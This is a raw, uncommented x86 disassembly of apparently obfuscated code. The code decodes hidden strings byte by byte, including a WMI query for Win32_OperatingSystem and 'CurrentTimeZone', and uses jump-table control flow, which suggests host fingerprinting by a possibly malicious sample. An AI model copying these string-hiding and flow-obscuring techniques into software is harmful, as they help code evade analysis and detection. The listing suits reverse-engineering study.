mov byte [esp + 0x68], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c164e
and eax, 0x3e9c164e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x69], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x5f
mov ecx, eax
add ecx, 0x3e9c164f
and eax, 0x3e9c164f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1650
and eax, 0x3e9c1650
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6b], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4f
mov ecx, eax
add ecx, 0x3e9c1651
and eax, 0x3e9c1651
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6c], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1652
and eax, 0x3e9c1652
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6d], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x70
mov ecx, eax
add ecx, 0x3e9c1653
and eax, 0x3e9c1653
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6e], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1654
and eax, 0x3e9c1654
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6f], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
mov ecx, eax
add ecx, 0x3e9c1655
and eax, 0x3e9c1655
shl eax, 1
sub ecx, eax
mov byte [esp + 0x70], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1656
and eax, 0x3e9c1656
shl eax, 1
sub ecx, eax
mov byte [esp + 0x71], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x72
mov ecx, eax
add ecx, 0x3e9c1657
and eax, 0x3e9c1657
shl eax, 1
sub ecx, eax
mov byte [esp + 0x72], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1658
and eax, 0x3e9c1658
shl eax, 1
sub ecx, eax
mov byte [esp + 0x73], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x61
mov ecx, eax
add ecx, 0x3e9c1659
and eax, 0x3e9c1659
shl eax, 1
sub ecx, eax
mov byte [esp + 0x74], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c165a
and eax, 0x3e9c165a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x75], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
mov ecx, eax
add ecx, 0x3e9c165b
and eax, 0x3e9c165b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x76], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c165c
and eax, 0x3e9c165c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x77], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
mov ecx, eax
add ecx, 0x3e9c165d
and eax, 0x3e9c165d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x78], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c165e
and eax, 0x3e9c165e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x79], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
mov ecx, eax
add ecx, 0x3e9c165f
and eax, 0x3e9c165f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1660
and eax, 0x3e9c1660
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7b], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x67
mov ecx, eax
add ecx, 0x3e9c1661
and eax, 0x3e9c1661
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7c], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1662
and eax, 0x3e9c1662
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7d], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x53
mov ecx, eax
add ecx, 0x3e9c1663
and eax, 0x3e9c1663
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7e], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1664
and eax, 0x3e9c1664
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7f], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x79
mov ecx, eax
add ecx, 0x3e9c1665
and eax, 0x3e9c1665
shl eax, 1
sub ecx, eax
mov byte [esp + 0x80], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1666
and eax, 0x3e9c1666
shl eax, 1
sub ecx, eax
mov byte [esp + 0x81], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x73
mov ecx, eax
add ecx, 0x3e9c1667
and eax, 0x3e9c1667
shl eax, 1
sub ecx, eax
mov byte [esp + 0x82], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1668
and eax, 0x3e9c1668
shl eax, 1
sub ecx, eax
mov byte [esp + 0x83], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
mov ecx, eax
add ecx, 0x3e9c1669
and eax, 0x3e9c1669
shl eax, 1
sub ecx, eax
mov byte [esp + 0x84], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c166a
and eax, 0x3e9c166a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x85], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
mov ecx, eax
add ecx, 0x3e9c166b
and eax, 0x3e9c166b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x86], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c166c
and eax, 0x3e9c166c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x87], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6d
mov ecx, eax
add ecx, 0x3e9c166d
and eax, 0x3e9c166d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x88], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c166e
and eax, 0x3e9c166e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x89], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c166f
and eax, 0x3e9c166f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x8a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1670
and eax, 0x3e9c1670
shl eax, 1
sub ecx, eax
mov byte [esp + 0x8b], cl
mov eax, 0x48
mov byte [esp + eax + 0x44], 0
add eax, 1
cmp eax, 0x4b
jne 0x42b3db
mov dword [esp + 0xfc], 0
mov eax, dword [esp + 0xfc]
cmp eax, 0x4b
jae 0x42b43a
mov eax, dword [esp + 0xfc]
mov ecx, dword [esp + 0xfc]
movzx ecx, byte [esp + ecx + 0x44]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004328e0
mov ecx, dword [esp + 0xfc]
mov byte [esp + ecx + 0x44], al
mov eax, dword [esp + 0xfc]
inc eax
mov dword [esp + 0xfc], eax
jmp 0x42b3f3
lea eax, [esp + 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov eax, dword [esp + 0x278]
mov ecx, dword [esp + 0x27c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x348], 0
mov eax, dword [esp + 0x34c]
mov ecx, dword [esp + 0x348]
mov eax, dword [eax + ecx*4]
jmp eax
movzx eax, bl
and eax, 1
mov dword [esp + 0x3d8], eax
mov eax, dword [esp + 0x3dc]
mov ecx, dword [esp + 0x3d8]
mov eax, dword [eax + ecx*4]
jmp eax
pop esp
aad 0x2a
xchg ebp, eax
movsb byte es:[edi], byte [esi]
clc
sbb eax, dword [esi + 0x2424448a]
mov byte [esp + 0x1ac], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x43
xor eax, 0x97
mov byte [esp + 0xa4], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x98
mov byte [esp + 0xa5], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x75
xor eax, 0x99
mov byte [esp + 0xa6], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x9a
mov byte [esp + 0xa7], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x72
xor eax, 0x9b
mov byte [esp + 0xa8], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x9c
mov byte [esp + 0xa9], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x72
xor eax, 0x9d
mov byte [esp + 0xaa], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x9e
mov byte [esp + 0xab], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
xor eax, 0x9f
mov byte [esp + 0xac], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa0
mov byte [esp + 0xad], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
xor eax, 0xa1
mov byte [esp + 0xae], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa2
mov byte [esp + 0xaf], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
xor eax, 0xa3
mov byte [esp + 0xb0], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa4
mov byte [esp + 0xb1], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x54
xor eax, 0xa5
mov byte [esp + 0xb2], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa6
mov byte [esp + 0xb3], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
xor eax, 0xa7
mov byte [esp + 0xb4], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa8
mov byte [esp + 0xb5], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6d
xor eax, 0xa9
mov byte [esp + 0xb6], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xaa
mov byte [esp + 0xb7], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
xor eax, 0xab
mov byte [esp + 0xb8], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xac
mov byte [esp + 0xb9], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x5a
xor eax, 0xad
mov byte [esp + 0xba], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xae
mov byte [esp + 0xbb], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6f
xor eax, 0xaf
mov byte [esp + 0xbc], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb0
mov byte [esp + 0xbd], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
xor eax, 0xb1
mov byte [esp + 0xbe], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb2
mov byte [esp + 0xbf], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
xor eax, 0xb3
mov byte [esp + 0xc0], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb4
mov byte [esp + 0xc1], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb5
mov byte [esp + 0xc2], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb6
mov byte [esp + 0xc3], al
mov eax, 0x20
mov byte [esp + eax + 0xa4], 0
add eax, 1
cmp eax, 0x22
jne 0x42b8e6
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x244]
mov eax, dword [ecx + eax*4]
jmp eax
lea eax, [esp + 0x94]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 4
mov dword [esp + 0x12c], eax
mov al, byte [esp + 0x40]
mov byte [esp + 0x198], al
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x53
mov ecx, eax
add ecx, 0x3e9c1629
and eax, 0x3e9c1629
shl eax, 1
sub ecx, eax
mov byte [esp + 0x44], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c162a
and eax, 0x3e9c162a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x45], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x45
mov ecx, eax
add ecx, 0x3e9c162b
and eax, 0x3e9c162b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x46], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c162c
and eax, 0x3e9c162c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x47], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4c
mov ecx, eax
add ecx, 0x3e9c162d
and eax, 0x3e9c162d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x48], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c162e
and eax, 0x3e9c162e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x49], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x45
mov ecx, eax
add ecx, 0x3e9c162f
and eax, 0x3e9c162f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1630
and eax, 0x3e9c1630
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4b], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x43
mov ecx, eax
add ecx, 0x3e9c1631
and eax, 0x3e9c1631
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4c], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1632
and eax, 0x3e9c1632
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4d], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x54
mov ecx, eax
add ecx, 0x3e9c1633
and eax, 0x3e9c1633
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4e], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1634
and eax, 0x3e9c1634
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4f], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x20
mov ecx, eax
add ecx, 0x3e9c1635
and eax, 0x3e9c1635
shl eax, 1
sub ecx, eax
mov byte [esp + 0x50], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1636
and eax, 0x3e9c1636
shl eax, 1
sub ecx, eax
mov byte [esp + 0x51], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x2a
mov ecx, eax
add ecx, 0x3e9c1637
and eax, 0x3e9c1637
shl eax, 1
sub ecx, eax
mov byte [esp + 0x52], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1638
and eax, 0x3e9c1638
shl eax, 1
sub ecx, eax
mov byte [esp + 0x53], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x20
mov ecx, eax
add ecx, 0x3e9c1639
and eax, 0x3e9c1639
shl eax, 1
sub ecx, eax
mov byte [esp + 0x54], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c163a
and eax, 0x3e9c163a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x55], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x46
mov ecx, eax
add ecx, 0x3e9c163b
and eax, 0x3e9c163b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x56], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c163c
and eax, 0x3e9c163c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x57], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x52
mov ecx, eax
add ecx, 0x3e9c163d
and eax, 0x3e9c163d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x58], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c163e
and eax, 0x3e9c163e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x59], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4f
mov ecx, eax
add ecx, 0x3e9c163f
and eax, 0x3e9c163f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1640
and eax, 0x3e9c1640
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5b], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4d
mov ecx, eax
add ecx, 0x3e9c1641
and eax, 0x3e9c1641
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5c], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1642
and eax, 0x3e9c1642
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5d], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x20
mov ecx, eax
add ecx, 0x3e9c1643
and eax, 0x3e9c1643
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5e], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1644
and eax, 0x3e9c1644
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5f], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x57
mov ecx, eax
add ecx, 0x3e9c1645
and eax, 0x3e9c1645
shl eax, 1
sub ecx, eax
mov byte [esp + 0x60], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1646
and eax, 0x3e9c1646
shl eax, 1
sub ecx, eax
mov byte [esp + 0x61], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
mov ecx, eax
add ecx, 0x3e9c1647
and eax, 0x3e9c1647
shl eax, 1
sub ecx, eax
mov byte [esp + 0x62], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1648
and eax, 0x3e9c1648
shl eax, 1
sub ecx, eax
mov byte [esp + 0x63], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
mov ecx, eax
add ecx, 0x3e9c1649
and eax, 0x3e9c1649
shl eax, 1
sub ecx, eax
mov byte [esp + 0x64], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c164a
and eax, 0x3e9c164a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x65], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x33
mov ecx, eax
add ecx, 0x3e9c164b
and eax, 0x3e9c164b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x66], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c164c
and eax, 0x3e9c164c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x67], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x32
mov ecx, eax
add ecx, 0x3e9c164d
and eax, 0x3e9c164d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x68], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c164e
and eax, 0x3e9c164e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x69], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x5f
mov ecx, eax
add ecx, 0x3e9c164f
and eax, 0x3e9c164f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1650
and eax, 0x3e9c1650
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6b], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4f
mov ecx, eax
add ecx, 0x3e9c1651
and eax, 0x3e9c1651
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6c], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1652
and eax, 0x3e9c1652
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6d], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x70
mov ecx, eax
add ecx, 0x3e9c1653
and eax, 0x3e9c1653
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6e], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1654
and eax, 0x3e9c1654
shl eax, 1
sub ecx, eax
mov byte [esp + 0x6f], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
mov ecx, eax
add ecx, 0x3e9c1655
and eax, 0x3e9c1655
shl eax, 1
sub ecx, eax
mov byte [esp + 0x70], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1656
and eax, 0x3e9c1656
shl eax, 1
sub ecx, eax
mov byte [esp + 0x71], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x72
mov ecx, eax
add ecx, 0x3e9c1657
and eax, 0x3e9c1657
shl eax, 1
sub ecx, eax
mov byte [esp + 0x72], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1658
and eax, 0x3e9c1658
shl eax, 1
sub ecx, eax
mov byte [esp + 0x73], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x61
mov ecx, eax
add ecx, 0x3e9c1659
and eax, 0x3e9c1659
shl eax, 1
sub ecx, eax
mov byte [esp + 0x74], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c165a
and eax, 0x3e9c165a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x75], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
mov ecx, eax
add ecx, 0x3e9c165b
and eax, 0x3e9c165b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x76], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c165c
and eax, 0x3e9c165c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x77], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
mov ecx, eax
add ecx, 0x3e9c165d
and eax, 0x3e9c165d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x78], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c165e
and eax, 0x3e9c165e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x79], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
mov ecx, eax
add ecx, 0x3e9c165f
and eax, 0x3e9c165f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1660
and eax, 0x3e9c1660
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7b], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x67
mov ecx, eax
add ecx, 0x3e9c1661
and eax, 0x3e9c1661
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7c], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1662
and eax, 0x3e9c1662
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7d], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x53
mov ecx, eax
add ecx, 0x3e9c1663
and eax, 0x3e9c1663
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7e], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1664
and eax, 0x3e9c1664
shl eax, 1
sub ecx, eax
mov byte [esp + 0x7f], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x79
mov ecx, eax
add ecx, 0x3e9c1665
and eax, 0x3e9c1665
shl eax, 1
sub ecx, eax
mov byte [esp + 0x80], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1666
and eax, 0x3e9c1666
shl eax, 1
sub ecx, eax
mov byte [esp + 0x81], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x73
mov ecx, eax
add ecx, 0x3e9c1667
and eax, 0x3e9c1667
shl eax, 1
sub ecx, eax
mov byte [esp + 0x82], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1668
and eax, 0x3e9c1668
shl eax, 1
sub ecx, eax
mov byte [esp + 0x83], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
mov ecx, eax
add ecx, 0x3e9c1669
and eax, 0x3e9c1669
shl eax, 1
sub ecx, eax
